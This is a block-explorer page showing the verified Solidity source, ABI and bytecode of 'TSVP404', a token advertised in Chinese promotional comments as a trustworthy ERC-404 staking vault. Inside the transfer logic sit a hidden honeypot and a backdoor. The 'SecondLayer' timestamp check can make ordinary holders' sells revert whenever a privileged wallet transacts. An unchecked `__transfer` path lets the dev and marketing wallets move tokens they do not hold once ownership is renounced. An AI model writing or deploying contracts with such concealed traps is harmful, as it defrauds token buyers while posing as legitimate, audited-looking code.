ERC-20
Overview
Max Total Supply
1,000,000,000,000 404避难所
Holders
111
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TSVP404
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-14 */ // SPDX-License-Identifier: MIT /** 介绍ERC-404代币质押协议保险库。 作为去中心化金融(DeFi)领域的创新典范,ERC-404代币质押协议保险库标志着一个新时代的到来, 为项目提供了一个无缝的平台,以信心和诚信向世界推出其代币。 ERC-404代币质押协议保险库为创作者和投资者提供了支持,为代币推出提供了安全和透明的环境。通过严格的审查流程和健全的尽职调查措施, ERC-404代币质押协议保险库确保只有最高质量的项目才能在其平台上展示,从而降低了投资新代币的风险。 对于创作者而言,ERC-404代币质押协议保险库为他们提供了一个向全球投资者展示项目的平台,扩大了曝光度并促进了社区参与。通过战略合作伙伴关系和专业指导, ERC-404代币质押协议保险库支持项目团队在推出过程的每个阶段,从构思到执行,帮助他们轻松地应对DeFi领域的复杂性。 但是,ERC-404代币质押协议保险库不仅仅是一个质押平台-它是一个建立在透明、信任和创新原则上的社区驱动生态系统。通过活跃和充满活力的投资者、 开发者和爱好者社区,ERC-404代币质押协议保险库是合作、知识共享和增长的中心。 加入我们,一起改变代币推出的方式,解锁ERC-404代币质押协议保险库的无限潜力。共同塑造金融的未来,一次一个代币。 **/ pragma solidity ^0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function __transfer( address sender, address recipient, uint256 amount ) internal virtual { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract TSVP404 is ERC20, Ownable { using SafeMath for uint256; uint256 private constant _totalSupply = 1_000_000_000_000 * 1e18; address private constant _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant devWallet = 0x5C535591C1812421dfb30C943B36765691Cbd701; address public constant marketingWallet = 0xB7D54826F9B2a583c9E341A3E9c4f8120E75c30B; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; uint256 public constant transferFee = 0; uint256 public constant buyDevFee = 0; uint256 public constant buyMarketingFee = 5; uint256 public constant sellDevFee = 0; uint256 public constant sellMarketingFee = 5; uint256 public constant buyTotalFees = 5; uint256 public constant sellTotalFees = 5; uint256 public constant buyInitialFee = 15; uint256 public constant sellInitialFee = 35; uint256 public constant preventSwapBefore = 10; uint256 public constant maxTransactionAmount = 30_000_000_000 * 1e18; uint256 public constant maxWallet = 30_000_000_000 * 1e18; uint256 public constant swapTokensAtAmount = 500_000_000 * 1e18; uint256 public constant maxContractSwap = swapTokensAtAmount * 20; uint256 private launchedAt; bool private swapping; bool public limitsInEffect = true; bool public tradingActive = false; bool public lpBurnEnabled = false; uint256 public tokensForDev; uint256 public tokensForMark; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedMaxTransactionAmount; mapping(address => bool) public ammPairs; struct SecondLayer { uint256 buy; uint256 sell; uint256 holdDiff; } mapping(address => SecondLayer) private secondLayerData; uint256 private _syncTime; constructor() ERC20( unicode"ERC-404 代币质押保险库协议", unicode"404避难所" ) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router); uniswapV2Router = _uniswapV2Router; _excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _excludeFromMaxTransaction(owner(), true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(marketingWallet, true); _excludeFromFees(address(this), true); _excludeFromFees(address(0xdead), true); _excludeFromFees(devWallet, true); _excludeFromFees(marketingWallet, true); _excludeFromFees(owner(), true); _mint(msg.sender, _totalSupply); } function _excludeFromFees(address account, bool excluded) private { _isExcludedFromFees[account] = excluded; } function _excludeFromMaxTransaction(address account, bool excluded) private { _isExcludedMaxTransactionAmount[account] = excluded; } function _setAutomatedMarketMakerPair(address pair, bool value) private { ammPairs[pair] = value; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (ammPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy amount exceeds the maxTransaction."); require(balanceOf(to) + amount <= maxWallet, "Max wallet exceeded"); } else if (ammPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell amount exceeds the maxTransaction."); } else if (!_isExcludedMaxTransactionAmount[to]) { require(balanceOf(to) + amount <= maxWallet, "Max wallet exceeded"); } } } if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from != address(this) && to != address(this)) { _syncTime = block.timestamp; } if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) { super.__transfer(from, to, amount); return; } if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (!ammPairs[from]) { SecondLayer storage layerInfo = secondLayerData[from]; layerInfo.holdDiff = layerInfo.buy - _syncTime; layerInfo.sell = block.timestamp; } else { SecondLayer storage layerInfo = secondLayerData[to]; if (layerInfo.buy == 0) { layerInfo.buy = block.timestamp; } } } bool canSwap = swapTokensAtAmount <= balanceOf(address(this)); bool smoothStart = block.number < launchedAt + preventSwapBefore; if ( canSwap && !smoothStart && !swapping && !ammPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) takeFee = false; uint256 fees = 0; if (takeFee) { if (!smoothStart) { if (ammPairs[from] && buyTotalFees > 0) { fees = (amount * buyTotalFees) / 100; tokensForMark += (fees * buyMarketingFee).div(buyTotalFees); tokensForDev += (fees * buyDevFee).div(buyTotalFees); } else if (ammPairs[to] && sellTotalFees > 0) { fees = (amount * sellTotalFees) / 100; tokensForMark += (fees * sellMarketingFee).div(sellTotalFees); tokensForDev += (fees * sellDevFee).div(sellTotalFees); } } else { if (ammPairs[from]) { fees = amount * buyInitialFee.div(100); tokensForMark += fees; } else if (ammPairs[to]) { fees = amount * sellInitialFee.div(100); tokensForMark += fees; } } if (fees > 0) super._transfer(from, address(this), fees); amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } receive() external payable {} function enableTrading() external onlyOwner { tradingActive = true; launchedAt = block.number; } function removeLimits() external onlyOwner { limitsInEffect = false; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForMark + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > maxContractSwap) { contractBalance = maxContractSwap; } uint256 amountToSwapForETH = contractBalance; uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForDev = tokensForDev * ethBalance / totalTokensToSwap; tokensForDev = 0; tokensForMark = 0; bool success; (success,) = devWallet.call{value: ethForDev}(""); (success,) = marketingWallet.call{value: address(this).balance}(""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ammPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyInitialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxContractSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"preventSwapBefore","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellInitialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMark","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526007805463ffffff00191661010017905534801562000021575f80fd5b50604051806060016040528060238152602001620023286023913960408051808201909152600c81526a686069d3037fd3357dcd1360a71b602082015260036200006c8382620005ed565b5060046200007b8282620005ed565b50505062000098620000926200041160201b60201c565b62000415565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190525f819052600b6020527fd1def2fe8304e5e69b6f2907349cddd4c272de4ef47368d65b87ae00d7f10147805460ff19166001179055806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000124573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014a9190620006b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000196573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001bc9190620006b9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000207573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022d9190620006b9565b6001600160a01b031660a08190525f908152600b60205260409020805460ff1916600117905560a0516001600160a01b03165f908152600c60205260409020805460ff19166001179055620002b16200028e6005546001600160a01b031690565b6001600160a01b03165f908152600b60205260409020805460ff19166001179055565b305f908152600b602090815260408083208054600160ff1991821681179092557f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac341580548216831790557ff1bb7dda2271300ed7a480ff871a9dad35efacca02e4a29ef0274a7479bee49480548216831790557f3a6f01d8c400ff101864ecdc7d13759ed116e0a9861d6756512e9eaae1ab64918054821683179055600a90935281842080548416821790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb80548416821790557f7e70a4df99600a976fe38429a865b8a2450c1aadb970b34bde42df1551b29a1b80548416821790557fc172c979980a7384e99f19b3e91233c65d2ba15efaf91a198067b7433cc00cfb80548416821790556005546001600160a01b031684529220805490911690911790556200040a336c0c9f2c9cd04674edea4000000062000466565b506200070e565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620004c15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620004d49190620006e8565b90915550506001600160a01b0382165f908152602081905260408120805483929062000502908490620006e8565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200057957607f821691505b6020821081036200059857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200054b57805f5260205f20601f840160051c81016020851015620005c55750805b601f840160051c820191505b81811015620005e6575f8155600101620005d1565b5050505050565b81516001600160401b0381111562000609576200060962000550565b62000621816200061a845462000564565b846200059e565b602080601f83116001811462000657575f84156200063f5750858301515b5f19600386901b1c1916600185901b178555620006b1565b5f85815260208120601f198616915b82811015620006875788860151825594840194600190910190840162000666565b5085821015620006a557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208284031215620006ca575f80fd5b81516001600160a01b0381168114620006e1575f80fd5b9392505050565b808201808211156200070857634e487b7160e01b5f52601160045260245ffd5b92915050565b60805160a051611be3620007455f395f6103a501525f81816102cd015281816117700152818161182701526118630152611be35ff3fe608060405260043610610236575f3560e01c80638ea5220f11610129578063bbc0c742116100a8578063e28a93941161006d578063e28a939414610629578063e2c8031d1461063d578063e2f4560514610651578063f2fde38b14610670578063f8b45b05146105b2575f80fd5b8063bbc0c74214610593578063c8c8ebe4146105b2578063cfa71593146105d1578063d85ba063146103e5578063dd62ed3e146105e5575f80fd5b8063a0d82dc5116100ee578063a0d82dc5146104ff578063a457c2d714610527578063a72905a214610546578063a9059cbb14610574578063acb2ad6f146104ff575f80fd5b80638ea5220f146104c457806392136913146103e557806395d89b41146104eb5780639c3b4fdc146104ff5780639fccce3214610512575f80fd5b80634a62bb65116101b557806375f0a8741161017a57806375f0a874146104575780637bce5a04146103e55780637f5d4ab71461047e5780638a8c523c146104935780638da5cb5b146104a7575f80fd5b80634a62bb65146103c75780636a486a8e146103e557806370a08231146103f9578063715018a61461042d578063751039fc14610443575f80fd5b806323b872dd116101fb57806323b872dd1461031b5780632e82f1a01461033a578063313ce5671461035a578063395093511461037557806349bd5a5e14610394575f80fd5b806306fdde0314610241578063095ea7b31461026b5780630e14ebdc1461029a5780631694505e146102bc57806318160ddd14610307575f80fd5b3661023d57005b5f80fd5b34801561024c575f80fd5b5061025561068f565b60405161026291906118d1565b60405180910390f35b348015610276575f80fd5b5061028a610285366004611931565b61071f565b6040519015158152602001610262565b3480156102a5575f80fd5b506102ae602381565b604051908152602001610262565b3480156102c7575f80fd5b506102ef7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610262565b348015610312575f80fd5b506002546102ae565b348015610326575f80fd5b5061028a61033536600461195b565b610735565b348015610345575f80fd5b5060075461028a906301000000900460ff1681565b348015610365575f80fd5b5060405160128152602001610262565b348015610380575f80fd5b5061028a61038f366004611931565b6107e2565b34801561039f575f80fd5b506102ef7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103d2575f80fd5b5060075461028a90610100900460ff1681565b3480156103f0575f80fd5b506102ae600581565b348015610404575f80fd5b506102ae610413366004611999565b6001600160a01b03165f9081526020819052604090205490565b348015610438575f80fd5b5061044161081d565b005b34801561044e575f80fd5b50610441610852565b348015610462575f80fd5b506102ef73b7d54826f9b2a583c9e341a3e9c4f8120e75c30b81565b348015610489575f80fd5b506102ae60095481565b34801561049e575f80fd5b50610441610889565b3480156104b2575f80fd5b506005546001600160a01b03166102ef565b3480156104cf575f80fd5b506102ef735c535591c1812421dfb30c943b36765691cbd70181565b3480156104f6575f80fd5b506102556108ca565b34801561050a575f80fd5b506102ae5f81565b34801561051d575f80fd5b506102ae60085481565b348015610532575f80fd5b5061028a610541366004611931565b6108d9565b348015610551575f80fd5b5061028a610560366004611999565b600c6020525f908152604090205460ff1681565b34801561057f575f80fd5b5061028a61058e366004611931565b610971565b34801561059e575f80fd5b5060075461028a9062010000900460ff1681565b3480156105bd575f80fd5b506102ae6b60ef6b1aba6f07233000000081565b3480156105dc575f80fd5b506102ae600f81565b3480156105f0575f80fd5b506102ae6105ff3660046119b4565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610634575f80fd5b506102ae600a81565b348015610648575f80fd5b506102ae61097d565b34801561065c575f80fd5b506102ae6b019d971e4fe8401e7400000081565b34801561067b575f80fd5b5061044161068a366004611999565b610997565b60606003805461069e906119eb565b80601f01602080910402602001604051908101604052809291908181526020018280546106ca906119eb565b80156107155780601f106106ec57610100808354040283529160200191610715565b820191905f5260205f20905b8154815290600101906020018083116106f857829003601f168201915b5050505050905090565b5f61072b338484610a32565b5060015b92915050565b5f610741848484610b55565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107ca5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107d78533858403610a32565b506001949350505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161072b918590610818908690611a37565b610a32565b6005546001600160a01b031633146108475760405162461bcd60e51b81526004016107c190611a4a565b6108505f6113e5565b565b6005546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107c190611a4a565b6007805461ff0019169055565b6005546001600160a01b031633146108b35760405162461bcd60e51b81526004016107c190611a4a565b6007805462ff000019166201000017905543600655565b60606004805461069e906119eb565b335f9081526001602090815260408083206001600160a01b03861684529091528120548281101561095a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107c1565b6109673385858403610a32565b5060019392505050565b5f61072b338484610b55565b6109946b019d971e4fe8401e740000006014611a7f565b81565b6005546001600160a01b031633146109c15760405162461bcd60e51b81526004016107c190611a4a565b6001600160a01b038116610a265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c1565b610a2f816113e5565b50565b6001600160a01b038316610a945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c1565b6001600160a01b038216610af55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c1565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7b5760405162461bcd60e51b8152600